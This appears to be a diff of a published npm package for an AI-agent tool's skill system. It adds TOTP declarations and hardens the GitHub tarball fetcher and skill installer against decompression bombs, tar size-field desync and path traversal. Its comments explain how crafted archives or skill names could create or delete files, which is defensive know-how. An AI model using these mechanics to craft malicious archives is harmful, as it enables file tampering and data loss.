* @param digits - number of digits in the code; defaults to 6.
|
|
44
|
+
*/
|
|
45
|
+
export declare function generateTotp(secretBase32: string, atMs?: number, stepSeconds?: number, digits?: number): string;
|
|
46
|
+
/**
|
|
47
|
+
* Verify a TOTP code with a ±window tolerance. Uses constant-time string
|
|
48
|
+
* comparison on each attempt.
|
|
49
|
+
*
|
|
50
|
+
* @param code - the code entered by the user
|
|
51
|
+
* @param secretBase32 - base32-encoded secret
|
|
52
|
+
* @param atMs - epoch milliseconds; defaults to `Date.now()`
|
|
53
|
+
* @param window - number of steps before/after the current step to accept.
|
|
54
|
+
* 0 = exact step only; 1 = ±30s (default); 2 = ±60s.
|
|
55
|
+
* @returns `true` if the code matches any step within the window.
|
|
56
|
+
*/
|
|
57
|
+
export declare function verifyTotp(code: string, secretBase32: string, atMs?: number, window?: number, stepSeconds?: number, digits?: number): boolean;
|
|
58
|
+
/**
|
|
59
|
+
* Build an `otpauth://` URI for QR-code provisioning (RFC 6238 / Google Auth).
|
|
60
|
+
*
|
|
61
|
+
* Format: `otpauth://totp/<label>?secret=<base32>&issuer=<issuer>&algorithm=SHA1&digits=6&period=30`
|
|
62
|
+
*
|
|
63
|
+
* The URI is used to render a QR code in the settings page. Authenticator
|
|
64
|
+
* apps scan it and store the secret.
|
|
65
|
+
*/
|
|
66
|
+
export declare function buildOtpAuthUri(secretBase32: string, account: string, issuer?: string, stepSeconds?: number, digits?: number): string;
|
|
67
|
+
/**
|
|
68
|
+
* Generate a batch of single-use recovery codes. Each code is a 16-char
|
|
69
|
+
* hex string with a hyphen separator in the middle for readability.
|
|
70
|
+
*
|
|
71
|
+
* Format: `xxxxxxxx-xxxxxxxx` (8 hex chars, hyphen, 8 hex chars)
|
|
72
|
+
*/
|
|
73
|
+
export declare function generateRecoveryCodes(count?: number): string[];
|
|
74
|
+
/**
|
|
75
|
+
* Hash a recovery code with SHA-256 for storage. Recovery codes are
|
|
76
|
+
* single-use; storing only the hash means a leaked `auth.json` cannot
|
|
77
|
+
* reveal unused codes.
|
|
78
|
+
*/
|
|
79
|
+
export declare function hashRecoveryCode(code: string): string;
|
|
80
|
+
/**
|
|
81
|
+
* Constant-time comparison of a recovery code against a list of stored
|
|
82
|
+
* SHA-256 hashes. Returns `true` on match. Callers MUST remove the matched
|
|
83
|
+
* hash from the store after a successful verification (single-use).
|
|
84
|
+
*/
|
|
85
|
+
export declare function verifyRecoveryCode(code: string, storedHashes: string[]): boolean;
|
|
86
|
+
//# sourceMappingURL=totp.d.ts.map
|
|
@@ -10,12 +10,23 @@
|
|
|
10
10
|
export interface ParsedSkillFrontmatter {
|
|
11
11
|
name?: string | undefined;
|
|
12
12
|
description?: string | undefined;
|
|
13
|
+
/**
|
|
14
|
+
* Optional explicit "Use when…" trigger (WrongStack extension). When present
|
|
15
|
+
* it is used verbatim as the skill's trigger in the available-skills list;
|
|
16
|
+
* otherwise the trigger falls back to the first sentence of `description`.
|
|
17
|
+
*/
|
|
18
|
+
trigger?: string | undefined;
|
|
13
19
|
/** WrongStack extension; informational only. */
|
|
14
20
|
version?: string | undefined;
|
|
15
21
|
license?: string | undefined;
|
|
16
22
|
compatibility?: string | undefined;
|
|
17
23
|
metadata?: Record<string, string> | undefined;
|
|
18
|
-
/**
|
|
24
|
+
/**
|
|
25
|
+
* `allowed-tools` (agentskills.io spec, experimental) → split on whitespace.
|
|
26
|
+
* INFORMATIONAL ONLY: WrongStack parses and can surface this list but does NOT
|
|
27
|
+
* enforce it — the `skill` tool's permissions/capabilities are fixed and never
|
|
28
|
+
* consult this field, so it neither grants nor restricts any tool.
|
|
29
|
+
*/
|
|
19
30
|
allowedTools?: string[] | undefined;
|
|
20
31
|
}
|
|
21
32
|
/**
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import { Readable } from 'node:stream';
|
|
1
2
|
export interface ParsedRef {
|
|
2
3
|
owner: string;
|
|
3
4
|
repo: string;
|
|
@@ -12,6 +13,8 @@ export interface DownloadResult {
|
|
|
12
13
|
/** Temp directory containing the extracted repo. Caller must clean up. */
|
|
13
14
|
tempDir: string;
|
|
14
15
|
}
|
|
16
|
+
/** Stream a gzip payload to disk while enforcing its decompressed byte budget. */
|
|
17
|
+
export declare function writeBoundedGzipStream(source: Readable, outputPath: string, maxBytes: number, maxCompressedBytes?: number): Promise<number>;
|
|
15
18
|
/**
|
|
16
19
|
* Resolve a GitHub auth token, if one is configured.
|
|
17
20
|
*
|
|
@@ -35,4 +38,49 @@ export declare function resolveGitHubToken(env?: NodeJS.ProcessEnv): string | un
|
|
|
35
38
|
* must remove it (the installer does this in a `finally`).
|
|
36
39
|
*/
|
|
37
40
|
export declare function downloadGitHubTarball(parsed: ParsedRef): Promise<DownloadResult>;
|
|
41
|
+
/**
|
|
42
|
+
* Read a tar header's 12-byte size field (WS-056).
|
|
43
|
+
*/
|
|
44
|
+
declare function readTarSize(buf: Buffer, start: number): number;
|
|
45
|
+
/**
|
|
46
|
+
* Minimal POSIX tar extractor. Handles the ustar format produced by GitHub.
|
|
47
|
+
* Only extracts regular files and directories — symlinks and special entries
|
|
48
|
+
* are skipped for security.
|
|
49
|
+
*/
|
|
50
|
+
declare function extractTar(buf: Buffer, destDir: string): Promise<void>;
|
|
51
|
+
/**
|
|
52
|
+
* Read a tar header's 12-byte size field (WS-056).
|
|
53
|
+
*
|
|
54
|
+
* This was `parseInt(readTarString(...), 8) || 0`, which is wrong in a way
|
|
55
|
+
* that matters more than a wrong number.
|
|
56
|
+
*
|
|
57
|
+
* GNU tar encodes a size that does not fit 11 octal digits in "base-256":
|
|
58
|
+
* the high bit of the first byte is set and the remaining bytes are a
|
|
59
|
+
* big-endian binary integer. Read as an octal STRING that is binary garbage,
|
|
60
|
+
* so `parseInt` returned `NaN` and `|| 0` quietly turned it into a size of 0.
|
|
61
|
+
*
|
|
62
|
+
* A size of 0 does not merely mis-report the entry — it DESYNCHRONISES the
|
|
63
|
+
* parser. The loop advances by `512 + ceil(size / 512) * 512`, so a zero size
|
|
64
|
+
* advances one block and the entry's own DATA is then parsed as the next tar
|
|
65
|
+
* header. From that point every "entry" is attacker-chosen content that was
|
|
66
|
+
* never visible as a file, and the extractor writes whatever those synthetic
|
|
67
|
+
* headers name. The zip-slip guard still holds, so this is not a path out of
|
|
68
|
+
* `destDir` — but it is arbitrary file creation inside it from data no
|
|
69
|
+
* inspection of the archive's real entry list would show.
|
|
70
|
+
*
|
|
71
|
+
* So: parse base-256 properly, and treat a size that is neither valid octal
|
|
72
|
+
* nor valid base-256 as fatal. Continuing from an unknown size is exactly the
|
|
73
|
+
* desync; refusing to extract is the only safe response.
|
|
74
|
+
*/
|
|
75
|
+
/**
|
|
76
|
+
* Internal seam for the per-file coverage suite (mirrors
|
|
77
|
+
* `protocolHandlerCoverage` in the ACP handler). `extractTar` and
|
|
78
|
+
* `readTarSize` are the security-relevant halves of this module and are
|
|
79
|
+
* otherwise unreachable from a test without performing a real download.
|
|
80
|
+
*/
|
|
81
|
+
export declare const githubFetcherCoverage: {
|
|
82
|
+
extractTar: typeof extractTar;
|
|
83
|
+
readTarSize: typeof readTarSize;
|
|
84
|
+
};
|
|
85
|
+
export {};
|
|
38
86
|
//# sourceMappingURL=github-fetcher.d.ts.map
|
package/dist/skills/index.js
CHANGED
|
@@ -40,7 +40,7 @@ function securityScoreToTier(score) {
|
|
|
40
40
|
}
|
|
41
41
|
|
|
42
42
|
// src/skills/frontmatter.ts
|
|
43
|
-
var SCALAR_KEYS = /* @__PURE__ */ new Set(["name", "description", "version", "license", "compatibility"]);
|
|
43
|
+
var SCALAR_KEYS = /* @__PURE__ */ new Set(["name", "description", "trigger", "version", "license", "compatibility"]);
|
|
44
44
|
function parseSkillFrontmatter(raw) {
|
|
45
45
|
const text = normalizeLineEndings(raw);
|
|
46
46
|
if (!text.startsWith("---")) return {};
|
|
@@ -144,6 +144,7 @@ function validateSkillName(name, parentDirName) {
|
|
|
144
144
|
}
|
|
145
145
|
|
|
146
146
|
// src/skills/github-fetcher.ts
|
|
147
|
+
import { createWriteStream } from "node:fs";
|
|
147
148
|
import * as fs from "node:fs/promises";
|
|
148
149
|
import * as os from "node:os";
|
|
149
150
|
import * as path from "node:path";
|
|
@@ -341,6 +342,14 @@ var SKILL_LIMITS = {
|
|
|
341
342
|
* Consumer: `downloadGitHubTarball`.
|
|
342
343
|
*/
|
|
343
344
|
MAX_TARBALL_SIZE: 50 * 1024 * 1024,
|
|
345
|
+
/**
|
|
346
|
+
* Maximum size of a GitHub skill tarball after gzip decompression. The
|
|
347
|
+
* compressed download limit alone does not protect against highly
|
|
348
|
+
* compressible archives expanding until the process runs out of memory.
|
|
349
|
+
*
|
|
350
|
+
* Consumer: `downloadGitHubTarball`.
|
|
351
|
+
*/
|
|
352
|
+
MAX_UNCOMPRESSED_TARBALL_SIZE: 64 * 1024 * 1024,
|
|
344
353
|
/**
|
|
345
354
|
* Default total char budget for skill bodies injected in eager mode when
|
|
346
355
|
* `config.skills.eagerMaxChars` is unset. ~6k tokens. Skills are injected
|
|
@@ -352,6 +361,17 @@ var SKILL_LIMITS = {
|
|
|
352
361
|
* `skillEagerMaxChars`).
|
|
353
362
|
*/
|
|
354
363
|
EAGER_DEFAULT_MAX_CHARS: 24e3,
|
|
364
|
+
/**
|
|
365
|
+
* Default total char budget for compact (token-saving) skill bodies injected
|
|
366
|
+
* by `buildCompactSkillBodiesText`. Mirrors the eager ceiling so compact mode
|
|
367
|
+
* can never inject more total skill text than eager mode. Before this bound
|
|
368
|
+
* existed, compact mode injected EVERY skill's compact body with no cap, so
|
|
369
|
+
* the section grew linearly with the number of installed skills. Skills past
|
|
370
|
+
* the budget overflow to a name list the agent loads via the `skill` tool.
|
|
371
|
+
*
|
|
372
|
+
* Consumer: `buildCompactSkillBodiesText` (default for its `budget` param).
|
|
373
|
+
*/
|
|
374
|
+
COMPACT_DEFAULT_MAX_CHARS: 24e3,
|
|
355
375
|
/**
|
|
356
376
|
* Auto-compact body limits (the token-saving fallback used when a skill has
|
|
357
377
|
* no hand-crafted `SKILL.save.md`). The Overview and Rules sections are
|
|
@@ -404,6 +424,46 @@ function parseSkillRef(input) {
|
|
|
404
424
|
}
|
|
405
425
|
return { owner: expectDefined(parts[0]), repo: expectDefined(parts[1]), ref };
|
|
406
426
|
}
|
|
427
|
+
async function writeBoundedGzipStream(source, outputPath, maxBytes, maxCompressedBytes = SKILL_LIMITS.MAX_TARBALL_SIZE) {
|
|
428
|
+
let compressedBytes = 0;
|
|
429
|
+
let writtenBytes = 0;
|
|
430
|
+
await pipeline(
|
|
431
|
+
source,
|
|
432
|
+
async function* (chunks) {
|
|
433
|
+
for await (const chunk of chunks) {
|
|
434
|
+
const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
|
|
435
|
+
compressedBytes += buffer.byteLength;
|
|
436
|
+
if (compressedBytes > maxCompressedBytes) {
|
|
437
|
+
throw new WrongStackError({
|
|
438
|
+
message: `Compressed tarball too large. Max: ${maxCompressedBytes / 1024 / 1024}MB`,
|
|
439
|
+
code: ERROR_CODES.UNKNOWN,
|
|
440
|
+
subsystem: "general",
|
|
441
|
+
context: { compressedBytes, maxBytes: maxCompressedBytes }
|
|
442
|
+
});
|
|
443
|
+
}
|
|
444
|
+
yield buffer;
|
|
445
|
+
}
|
|
446
|
+
},
|
|
447
|
+
createGunzip(),
|
|
448
|
+
async function* (chunks) {
|
|
449
|
+
for await (const chunk of chunks) {
|
|
450
|
+
const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
|
|
451
|
+
writtenBytes += buffer.byteLength;
|
|
452
|
+
if (writtenBytes > maxBytes) {
|
|
453
|
+
throw new WrongStackError({
|
|
454
|
+
message: `Uncompressed tarball too large. Max: ${maxBytes / 1024 / 1024}MB`,
|
|
455
|
+
code: ERROR_CODES.UNKNOWN,
|
|
456
|
+
subsystem: "general",
|
|
457
|
+
context: { uncompressedBytes: writtenBytes, maxBytes }
|
|
458
|
+
});
|
|
459
|
+
}
|
|
460
|
+
yield buffer;
|
|
461
|
+
}
|
|
462
|
+
},
|
|
463
|
+
createWriteStream(outputPath, { flags: "wx" })
|
|
464
|
+
);
|
|
465
|
+
return writtenBytes;
|
|
466
|
+
}
|
|
407
467
|
function resolveGitHubToken(env = process.env) {
|
|
408
468
|
const raw = env["WRONGSTACK_GITHUB_TOKEN"] ?? env["GITHUB_TOKEN"] ?? env["GH_TOKEN"];
|
|
409
469
|
if (!raw) return void 0;
|
|
@@ -490,15 +550,14 @@ async function downloadGitHubTarball(parsed) {
|
|
|
490
550
|
});
|
|
491
551
|
}
|
|
492
552
|
const nodeStream = Readable.fromWeb(response.body);
|
|
493
|
-
const
|
|
494
|
-
|
|
495
|
-
|
|
496
|
-
|
|
497
|
-
|
|
498
|
-
|
|
499
|
-
|
|
500
|
-
|
|
501
|
-
await extractTar(tarBuf, tempDir);
|
|
553
|
+
const tarPath = path.join(tempDir, ".wrongstack-download.tar");
|
|
554
|
+
await writeBoundedGzipStream(nodeStream, tarPath, SKILL_LIMITS.MAX_UNCOMPRESSED_TARBALL_SIZE);
|
|
555
|
+
const tarBuf = await fs.readFile(tarPath);
|
|
556
|
+
try {
|
|
557
|
+
await extractTar(tarBuf, tempDir);
|
|
558
|
+
} finally {
|
|
559
|
+
await fs.rm(tarPath, { force: true });
|
|
560
|
+
}
|
|
502
561
|
return { tempDir };
|
|
503
562
|
} catch (err) {
|
|
504
563
|
await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {
|
|
@@ -506,6 +565,44 @@ async function downloadGitHubTarball(parsed) {
|
|
|
506
565
|
throw err;
|
|
507
566
|
}
|
|
508
567
|
}
|
|
568
|
+
function readTarSize(buf, start) {
|
|
569
|
+
const first = buf[start] ?? 0;
|
|
570
|
+
if ((first & 128) !== 0) {
|
|
571
|
+
if (first === 255) {
|
|
572
|
+
throw new Error("tar: negative base-256 size field");
|
|
573
|
+
}
|
|
574
|
+
let value = first & 127;
|
|
575
|
+
for (let i = start + 1; i < start + 12; i++) {
|
|
576
|
+
value = value * 256 + (buf[i] ?? 0);
|
|
577
|
+
if (!Number.isSafeInteger(value)) {
|
|
578
|
+
throw new Error("tar: base-256 size exceeds the safe integer range");
|
|
579
|
+
}
|
|
580
|
+
}
|
|
581
|
+
return value;
|
|
582
|
+
}
|
|
583
|
+
const text = readTarString(buf, start, 12).trim();
|
|
584
|
+
if (text === "") return 0;
|
|
585
|
+
if (!/^[0-7]+$/.test(text)) {
|
|
586
|
+
throw new Error(`tar: unparseable size field ${JSON.stringify(text)}`);
|
|
587
|
+
}
|
|
588
|
+
const parsed = Number.parseInt(text, 8);
|
|
589
|
+
if (!Number.isSafeInteger(parsed) || parsed < 0) {
|
|
590
|
+
throw new Error("tar: size field out of range");
|
|
591
|
+
}
|
|
592
|
+
return parsed;
|
|
593
|
+
}
|
|
594
|
+
function readTarString(buf, start, maxLen) {
|
|
595
|
+
let end = start;
|
|
596
|
+
while (end < start + maxLen && end < buf.length && buf[end] !== 0) {
|
|
597
|
+
end++;
|
|
598
|
+
}
|
|
599
|
+
return buf.subarray(start, end).toString("utf8");
|
|
600
|
+
}
|
|
601
|
+
function stripTopDir(p) {
|
|
602
|
+
const idx = p.indexOf("/");
|
|
603
|
+
if (idx === -1) return "";
|
|
604
|
+
return p.slice(idx + 1);
|
|
605
|
+
}
|
|
509
606
|
async function extractTar(buf, destDir) {
|
|
510
607
|
let offset = 0;
|
|
511
608
|
while (offset + 512 <= buf.length) {
|
|
@@ -513,7 +610,7 @@ async function extractTar(buf, destDir) {
|
|
|
513
610
|
if (header.every((b) => b === 0)) break;
|
|
514
611
|
const name = readTarString(buf, offset, 100);
|
|
515
612
|
const prefix = readTarString(buf, offset + 345, 155);
|
|
516
|
-
const size =
|
|
613
|
+
const size = readTarSize(buf, offset + 124);
|
|
517
614
|
const typeflag = buf[offset + 156] ?? 0;
|
|
518
615
|
const fullPath = prefix ? `${prefix}/${name}` : name;
|
|
519
616
|
const relPath = stripTopDir(fullPath);
|
|
@@ -542,18 +639,6 @@ async function extractTar(buf, destDir) {
|
|
|
542
639
|
offset += 512 + Math.ceil(size / 512) * 512;
|
|
543
640
|
}
|
|
544
641
|
}
|
|
545
|
-
function readTarString(buf, start, maxLen) {
|
|
546
|
-
let end = start;
|
|
547
|
-
while (end < start + maxLen && end < buf.length && buf[end] !== 0) {
|
|
548
|
-
end++;
|
|
549
|
-
}
|
|
550
|
-
return buf.subarray(start, end).toString("utf8");
|
|
551
|
-
}
|
|
552
|
-
function stripTopDir(p) {
|
|
553
|
-
const idx = p.indexOf("/");
|
|
554
|
-
if (idx === -1) return "";
|
|
555
|
-
return p.slice(idx + 1);
|
|
556
|
-
}
|
|
557
642
|
|
|
558
643
|
// src/skills/manifest-store.ts
|
|
559
644
|
import * as fs2 from "node:fs/promises";
|
|
@@ -968,6 +1053,10 @@ function defaultEditor() {
|
|
|
968
1053
|
// src/skills/skill-installer.ts
|
|
969
1054
|
import * as fs4 from "node:fs/promises";
|
|
970
1055
|
import * as path4 from "node:path";
|
|
1056
|
+
function isInside(resolved, destDir) {
|
|
1057
|
+
const root = path4.resolve(destDir);
|
|
1058
|
+
return resolved === root || resolved.startsWith(root + path4.sep);
|
|
1059
|
+
}
|
|
971
1060
|
var MAX_SKILL_FILE_SIZE = SKILL_LIMITS.MAX_SKILL_FILE_SIZE;
|
|
972
1061
|
var SkillInstaller = class {
|
|
973
1062
|
opts;
|
|
@@ -1028,7 +1117,7 @@ var SkillInstaller = class {
|
|
|
1028
1117
|
const srcPath = path4.join(skill.baseDir, file);
|
|
1029
1118
|
const destPath = path4.join(destDir, file);
|
|
1030
1119
|
const resolved2 = path4.resolve(destPath);
|
|
1031
|
-
if (!resolved2
|
|
1120
|
+
if (!isInside(resolved2, destDir)) {
|
|
1032
1121
|
throw new FsError({
|
|
1033
1122
|
message: `Path traversal detected in skill file: ${file}`,
|
|
1034
1123
|
code: ERROR_CODES.FS_DELETE_FAILED,
|
|
@@ -1125,7 +1214,7 @@ var SkillInstaller = class {
|
|
|
1125
1214
|
const srcPath = path4.join(srcSkillDir, file);
|
|
1126
1215
|
const destPath = path4.join(destDir, file);
|
|
1127
1216
|
const resolved = path4.resolve(destPath);
|
|
1128
|
-
if (!resolved
|
|
1217
|
+
if (!isInside(resolved, destDir)) {
|
|
1129
1218
|
throw new FsError({
|
|
1130
1219
|
message: `Path traversal detected in skill file: ${file}`,
|
|
1131
1220
|
code: ERROR_CODES.FS_DELETE_FAILED,
|
|
@@ -1339,9 +1428,31 @@ var SkillInstaller = class {
|
|
|
1339
1428
|
/**
|
|
1340
1429
|
* Remove all files for an installed skill.
|
|
1341
1430
|
*/
|
|
1431
|
+
/**
|
|
1432
|
+
* Delete an installed skill's directory.
|
|
1433
|
+
*
|
|
1434
|
+
* The containment check is not ceremonial: this is a `recursive: true,
|
|
1435
|
+
* force: true` delete whose target is built from a skill NAME taken from
|
|
1436
|
+
* manifest frontmatter. `path.join` normalises `..`, so a crafted name
|
|
1437
|
+
* escapes `targetDir` and takes the recursive delete with it. This file
|
|
1438
|
+
* already had `isInside` and applied it on the copy path but not here.
|
|
1439
|
+
*
|
|
1440
|
+
* The strict-subdirectory requirement matters separately: `isInside` allows
|
|
1441
|
+
* equality by design, and an empty or `.` name resolves `skillDir` to
|
|
1442
|
+
* `targetDir` itself — deleting every installed skill (WS-097).
|
|
1443
|
+
*/
|
|
1342
1444
|
async removeSkillFiles(name, scope) {
|
|
1343
1445
|
const targetDir = scope === "project" ? this.opts.projectSkillsDir : this.opts.globalSkillsDir;
|
|
1344
|
-
const
|
|
1446
|
+
const root = path4.resolve(targetDir);
|
|
1447
|
+
const skillDir = path4.resolve(path4.join(targetDir, name));
|
|
1448
|
+
if (skillDir === root || !isInside(skillDir, root)) {
|
|
1449
|
+
throw new FsError({
|
|
1450
|
+
message: `Refusing to delete skill files outside the skills directory: ${name}`,
|
|
1451
|
+
code: ERROR_CODES.FS_DELETE_FAILED,
|
|
1452
|
+
path: skillDir,
|
|
1453
|
+
context: { reason: "path_traversal", skillName: name, scope }
|
|
1454
|
+
});
|
|
1455
|
+
}
|
|
1345
1456
|
await fs4.rm(skillDir, { recursive: true, force: true });
|
|
1346
1457
|
}
|
|
1347
1458
|
/**
|